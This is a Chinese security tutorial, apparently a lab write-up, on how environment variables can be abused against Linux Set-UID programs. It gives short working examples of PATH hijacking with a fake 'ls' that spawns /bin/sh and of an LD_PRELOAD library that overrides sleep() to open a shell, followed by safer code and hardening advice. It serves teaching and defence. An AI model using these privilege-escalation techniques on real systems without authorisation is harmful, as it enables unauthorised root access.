当前位置: 首页 > article >正文

[安全攻防实验] 环境变量:Set-UID程序中的隐形攻击向量

1. 环境变量与Set-UID程序的安全隐患在Linux系统中环境变量就像是一个随身携带的工具箱里面装着各种程序运行时需要的信息。但你可能不知道这个看似普通的工具箱在遇到Set-UID程序时可能会变成黑客的攻击武器。Set-UID是一种特殊的权限机制它允许程序以文件所有者的身份运行而不是执行者的身份。比如普通用户运行一个root所有的Set-UID程序时这个程序就拥有了root权限。我曾在一次安全测试中亲眼目睹了环境变量被滥用的全过程。攻击者通过精心构造的PATH环境变量成功让一个Set-UID程序执行了恶意代码。整个过程就像是在程序中植入了一个特洛伊木马程序以为自己调用的是系统命令实际上却在执行攻击者的脚本。2. 环境变量继承机制剖析2.1 父子进程的环境传递当我们在终端输入命令时shell会创建一个子进程来执行这个命令。这个子进程会继承父进程的环境变量就像孩子会继承父母的某些特征一样。我们可以用下面这个简单的C程序来验证#include unistd.h #include stdio.h #include stdlib.h extern char **environ; void printenv() { int i 0; while (environ[i] ! NULL) { printf(%s\n, environ[i]); i; } } int main() { pid_t childPid fork(); if (childPid 0) { // 子进程 printf(Child process environment:\n); printenv(); exit(0); } else { // 父进程 printf(Parent process environment:\n); printenv(); wait(NULL); } return 0; }编译运行后你会发现父子进程的环境变量几乎完全相同。这种继承机制虽然方便但也埋下了安全隐患。我曾经在一个项目中因为疏忽了环境变量的清理导致子进程继承了开发环境中的调试参数差点造成生产环境的信息泄露。2.2 execve与system的区别execve和system都是用来执行外部程序的系统调用但它们在处理环境变量时有本质区别// 使用execve执行程序 char *env[] {MYVARhello, NULL}; execve(/bin/ls, NULL, env); // 使用system执行程序 system(ls);execve会完全替换当前进程的环境而system会先启动一个shell再由shell来执行命令。这个细微差别在实际应用中可能产生巨大影响。有一次我在调试一个Set-UID程序时发现用system调用外部命令时总是出现权限异常换成execve后就正常了。后来才明白是因为system启动的shell会重置某些环境变量。3. Set-UID程序中的经典攻击手法3.1 PATH环境变量劫持PATH环境变量告诉系统在哪里查找可执行文件。当我们在命令行输入ls时系统会按照PATH中的目录顺序查找名为ls的程序。攻击者可以利用这一点进行劫持// 一个简单的Set-UID程序 #include stdlib.h int main() { system(ls); return 0; }如果这个程序是root所有的Set-UID程序攻击者可以这样做创建一个恶意程序命名为ls将包含这个恶意程序的目录添加到PATH的最前面运行Set-UID程序时系统会优先执行攻击者的ls我在一次渗透测试中就用过这种方法。首先创建一个伪造的ls程序// 恶意ls程序 #include stdio.h int main() { printf(Im a fake ls!\n); system(/bin/sh); // 获取shell return 0; }然后修改PATHexport PATH/tmp/malicious:$PATH当Set-UID程序运行时就会执行我的恶意代码而不是真正的ls命令。3.2 LD_PRELOAD攻击LD_PRELOAD环境变量允许我们在程序运行前预先加载指定的共享库。这原本是用于调试和性能优化的功能但也可以被滥用// 恶意sleep函数 #include stdio.h void sleep(int s) { printf(Im not sleeping!\n); system(/bin/sh); }编译为共享库gcc -fPIC -shared -o libmalicious.so malicious.c然后设置LD_PRELOADexport LD_PRELOAD./libmalicious.so当Set-UID程序调用sleep函数时就会执行我们的恶意代码。不过现代Linux系统对这种攻击有防护机制当检测到真实用户ID和有效用户ID不一致时Set-UID程序的典型特征会忽略LD_PRELOAD。4. 防御措施与最佳实践4.1 安全编程规范在编写Set-UID程序时我们应该显式设置关键环境变量使用绝对路径调用外部程序避免使用system等会启动shell的函数及时丢弃不需要的特权例如下面是一个相对安全的实现#include unistd.h #include stdio.h #include stdlib.h int main() { // 清理危险环境变量 clearenv(); setenv(PATH, /bin:/usr/bin, 1); // 使用execve而不是system char *argv[] {/bin/ls, NULL}; char *envp[] {NULL}; execve(argv[0], argv, envp); perror(execve failed); return 1; }4.2 系统加固建议从系统管理员角度可以采取以下措施限制Set-UID程序的数量使用chroot等机制限制程序访问范围定期审计Set-UID程序更新系统以修复已知漏洞我曾经审计过一个服务器发现上面有几十个不必要的Set-UID程序。通过清理这些程序系统受攻击面显著减小。5. 实战案例解析让我们通过一个完整案例来看看环境变量攻击的实际效果。假设有一个管理程序// admin_tool.c - 一个管理备份的Set-UID程序 #include stdlib.h #include stdio.h int main(int argc, char *argv[]) { if (argc ! 2) { printf(Usage: %s filename\n, argv[0]); return 1; } char cmd[100]; snprintf(cmd, sizeof(cmd), /usr/bin/backup %s, argv[1]); system(cmd); return 0; }这个程序有几个安全问题使用system而不是execve没有清理环境变量使用相对路径调用外部程序攻击者可以这样利用创建一个恶意程序命名为backup修改PATH使其优先搜索攻击者控制的目录运行admin_tool时就会执行恶意代码防御方法也很简单// 安全版本 #include unistd.h #include stdio.h int main(int argc, char *argv[]) { if (argc ! 2) { printf(Usage: %s filename\n, argv[0]); return 1; } // 清理环境 clearenv(); // 使用绝对路径和execve char *args[] {/usr/bin/backup, argv[1], NULL}; execve(args[0], args, NULL); perror(execve failed); return 1; }在实际开发中我还遇到过更隐蔽的问题。有一次一个程序通过环境变量传递数据库密码结果因为子进程继承了环境变量导致密码泄露。这种问题很难通过代码审查发现往往要等到出现安全事件才会被注意到。

相关文章:

[安全攻防实验] 环境变量:Set-UID程序中的隐形攻击向量

1. 环境变量与Set-UID程序的安全隐患 在Linux系统中,环境变量就像是一个随身携带的"工具箱",里面装着各种程序运行时需要的信息。但你可能不知道,这个看似普通的工具箱,在遇到Set-UID程序时,可能会变成黑客…...

实战解析:如何通过显卡频率优化解决CUDA/TensorRT推理速度骤降问题

1. 从异常现象到问题定位 最近在部署一个基于YOLOv5的工业检测系统时,遇到了一个让人头疼的问题:当系统从连续检测模式切换到条件触发模式后,原本飞快的CUDA推理速度突然下降了近5倍。更诡异的是,降低相机帧率后,推理…...

告别盲选!Space Thumbnails让3D模型文件在Windows资源管理器中“活“起来

告别盲选!Space Thumbnails让3D模型文件在Windows资源管理器中"活"起来 【免费下载链接】space-thumbnails Generates preview thumbnails for 3D model files. Provide a Windows Explorer extensions that adds preview thumbnails for 3D model files.…...

免费高效获取通达信金融数据:MOOTDX量化投资接口终极指南

免费高效获取通达信金融数据:MOOTDX量化投资接口终极指南 【免费下载链接】mootdx 通达信数据读取的一个简便使用封装 项目地址: https://gitcode.com/GitHub_Trending/mo/mootdx 想要快速获取A股市场数据却苦于高昂的API费用?MOOTDX是你的完美解…...

小白程序员必看:收藏这份大模型Agent开发学习指南,轻松入门字节跳动暑期实习

本文分享了一位知识星球录友成功上岸字节跳动agent开发暑期实习的经验,包括面试准备、Agent开发学习资源推荐以及字节跳动面试题解析。文章强调了掌握Agent相关知识的重要性,并建议小白程序员学习C、Java或Go等编程语言,通过知识星球中的agen…...

后端架构师转型AI智能体落地:收藏这份3个月进阶指南,轻松玩转不确定性系统

本文为后端/全栈/架构师提供了一条从零到一掌握AI智能体落地的技术路径。文章首先分析了架构师在AI智能体落地中的核心优势,如分布式系统设计、数据库设计、API封装等;接着,提出了一个分四阶段的三个月进阶计划,包括掌握核心范式、…...

一文读懂大模型Agent工作流:小白也能学会的AI新玩法(收藏版)

本文深入解析了AI Agent和Agent工作流的核心概念,阐述了AI代理如何通过工作流实现复杂任务的自动化。文章详细介绍了AI Agent的组成部分,包括推理、工具和记忆,并解释了Agent工作流的组成要素和不同模式。此外,还探讨了Agent工作流…...

Flink窗口实战避坑指南:从AggregateFunction到ProcessWindowFunction,我踩过的那些坑

Flink窗口实战避坑指南:从AggregateFunction到ProcessWindowFunction的深度解析 第一次在真实项目中使用Flink窗口时,我像发现新大陆一样兴奋。直到凌晨三点被报警短信惊醒,才发现窗口计算的结果完全偏离预期——这让我意识到,窗口…...

PVE模板迁移踩坑实录:从‘本地光盘错误’到一键克隆入池的完整避坑指南

PVE模板迁移实战指南:从错误排查到资源池高效管理 在Proxmox VE(PVE)虚拟化环境中,模板迁移是日常运维中的高频操作,也是容易踩坑的重灾区。许多管理员都遇到过这样的场景:精心制作的模板在迁移时突然报错&…...

Qt Scene Graph渲染管线深度解析:从QML到GPU像素的奇幻之旅

揭开Qt Quick高性能渲染的黑盒,掌握60fps丝滑界面的核心秘密一、为什么Scene Graph是Qt Quick的灵魂? 当你用QML写一个流畅的动画界面,轻松跑到60fps,有没有想过背后的渲染引擎到底做了什么?传统的QWidget走的是CPU软件…...

Linux发布前检查实战指南

Linux发布前检查实战指南 本文面向具备一定 Linux 基础的技术人员,围绕发布前检查展开,重点讨论依赖确认、容量检查和回滚准备。在中级运维和系统管理工作中,这类主题常常与配置变更、资源状态、权限边界、自动化任务和业务影响交织在一起&a…...

如何快速上手ESP32物联网开发:Arduino-ESP32终极入门指南

如何快速上手ESP32物联网开发:Arduino-ESP32终极入门指南 【免费下载链接】arduino-esp32 Arduino core for the ESP32 family of SoCs 项目地址: https://gitcode.com/GitHub_Trending/ar/arduino-esp32 想要开始ESP32物联网开发却不知从何入手?…...

基于Docker的Firefox隐私浏览器camofox:容器化隔离与自动化测试实践

1. 项目概述:一个为隐私而生的浏览器最近在折腾一些需要高度隔离和隐私保护的自动化任务,比如社交媒体管理、数据采集测试,或者只是想在一个完全干净、无痕的环境里浏览特定网站。市面上的主流浏览器,无论是Chrome还是Firefox&…...

如何快速掌握MTKClient:从零开始的联发科设备救砖与调试完整指南

如何快速掌握MTKClient:从零开始的联发科设备救砖与调试完整指南 【免费下载链接】mtkclient MTK reverse engineering and flash tool 项目地址: https://gitcode.com/gh_mirrors/mt/mtkclient 你是否曾经面对变砖的联发科手机束手无策?是否因为…...

保障企业级应用安全,如何利用 Taotoken 管理 API 密钥与审计日志

🚀 告别海外账号与网络限制!稳定直连全球优质大模型,限时半价接入中。 👉 点击领取海量免费额度 保障企业级应用安全,如何利用 Taotoken 管理 API 密钥与审计日志 在中大型企业的开发实践中,将大模型能力集…...

观察 Taotoken 用量看板如何帮助团队清晰掌握 API 调用成本

🚀 告别海外账号与网络限制!稳定直连全球优质大模型,限时半价接入中。 👉 点击领取海量免费额度 观察 Taotoken 用量看板如何帮助团队清晰掌握 API 调用成本 对于依赖大模型 API 进行开发的项目团队而言,成本控制与预…...

大模型推理全链路拆解

从 token 调度到采样输出,追踪每一步张量维度的变化,搞懂 LLM 推理到底在算什么 01 为什么需要 Continuous Batching 批处理能提升 GPU 利用率——复用权重来均摊显存访问开销。但生成式任务的输出序列长度不可预测且差异巨大,传统"齐…...

别再死磕公式了!用Python动手实现Turbo码的Max-Log-MAP译码(附完整代码)

用Python实战Turbo码:Max-Log-MAP译码的工程实现指南 在通信系统的纠错编码领域,Turbo码因其接近香农极限的性能而闻名。但对于大多数工程师和开发者而言,Turbo码译码算法中复杂的概率公式和递推关系往往成为理解障碍。本文将带你绕过数学推导…...

解密猫抓:当浏览器成为你的私人视频档案管理员

解密猫抓:当浏览器成为你的私人视频档案管理员 【免费下载链接】cat-catch 猫抓 浏览器资源嗅探扩展 / cat-catch Browser Resource Sniffing Extension 项目地址: https://gitcode.com/GitHub_Trending/ca/cat-catch 你是否曾盯着浏览器中那个精彩的在线讲座…...

实景复刻:动态目标实时映射与轨迹溯源平台

实景复刻:动态目标实时映射与轨迹溯源平台技术定位:实景动态复刻体系构建者 时空轨迹全链路溯源范式开创者执行摘要在数字孪生、视频孪生从静态可视化向动态可计算演进的关键阶段,物理世界与数字世界时空不同步、虚实不精准、动态不连续、轨…...

Qt程序图标设置全攻略:从.ico文件到任务栏显示,一个坑都不踩

Qt程序图标设置全攻略:从资源文件到系统缓存的完整解决方案 第一次用Qt打包发布程序时,我盯着任务栏上那个丑陋的默认图标发呆了十分钟——明明在代码里设置了图标,为什么还是显示不出来?相信很多Qt开发者都遇到过类似问题。图标…...

从校赛到区域赛:ACM-ICPC竞赛中的经典算法与实战策略解析

1. ACM-ICPC竞赛与算法能力培养 ACM国际大学生程序设计竞赛(ACM-ICPC)是全球最具影响力的大学生计算机赛事,被誉为"计算机界的奥林匹克"。这项赛事不仅考验选手的编程能力,更注重算法设计、团队协作和心理素质的综合表现…...

DLSS Swapper终极指南:一键切换游戏超采样版本,免费提升帧率30%+

DLSS Swapper终极指南:一键切换游戏超采样版本,免费提升帧率30% 【免费下载链接】dlss-swapper 项目地址: https://gitcode.com/GitHub_Trending/dl/dlss-swapper 你是否曾羡慕别人在《赛博朋克2077》里享受丝滑流畅的画面,而你的游戏…...

告别Xilinx思维:用Microsemi Libero为SmartFusion FPGA创建你的第一个工程(附资源清单)

告别Xilinx思维:用Microsemi Libero为SmartFusion FPGA创建你的第一个工程(附资源清单) 当习惯了Xilinx Vivado或Intel Quartus的工程师第一次打开Microsemi Libero时,那种感觉就像突然被扔进了一个陌生的城市——所有的路标都似…...

同花顺高级玩法:用Python自动计算并更新‘历史换手衰减系数’,解放双手

同花顺量化实战:Python自动化计算历史换手衰减系数的完整方案 在量化交易领域,筹码分布分析一直是技术派投资者的重要工具。而同花顺软件中的"历史换手衰减系数"参数设置,直接影响着筹码峰分析的准确性。传统的手工计算方式不仅效率…...

CoaXPress 2.0多输入高速图像采集卡:应对机器视觉数据洪流的架构核心

1. 项目概述:当视觉系统遇上数据洪流在工业检测、半导体AOI、生命科学成像这些对速度和精度要求近乎苛刻的领域,图像采集卡扮演着“数据咽喉”的角色。它决定了视觉系统能从相机“吞下”多少数据,以及“消化”的速度有多快。最近,…...

微信数据库解密全攻略:3步解锁你的数字记忆宝库

微信数据库解密全攻略:3步解锁你的数字记忆宝库 【免费下载链接】WechatDecrypt 微信消息解密工具 项目地址: https://gitcode.com/gh_mirrors/we/WechatDecrypt 微信数据库解密工具WechatDecrypt让你重新掌控被加密的聊天记录,实现个人数据的自主…...

基于Wasp全栈框架的SaaS启动模板:快速构建多租户应用

1. 项目概述:一个为独立开发者量身定制的开源SaaS蓝图 如果你是一名独立开发者,或者是一个小团队的创始人,心里揣着一个SaaS产品的想法,却总在技术选型、架构设计和持续交付的迷宫里打转,那么 wasp-lang/open-saas …...

卫星通信安全认证技术解析与应用指南

1. 卫星通信安全认证技术概述 卫星通信作为现代信息基础设施的重要组成部分,其安全性直接关系到国家安全和经济发展。在近地轨道卫星数量激增、天地一体化网络快速发展的背景下,传统地面网络的安全认证方案已无法满足卫星通信的特殊需求。卫星信道具有长…...

Defender Control:Windows Defender 终极控制指南 - 如何永久禁用Windows安全防护

Defender Control:Windows Defender 终极控制指南 - 如何永久禁用Windows安全防护 【免费下载链接】defender-control An open-source windows defender manager. Now you can disable windows defender permanently. 项目地址: https://gitcode.com/gh_mirrors/…...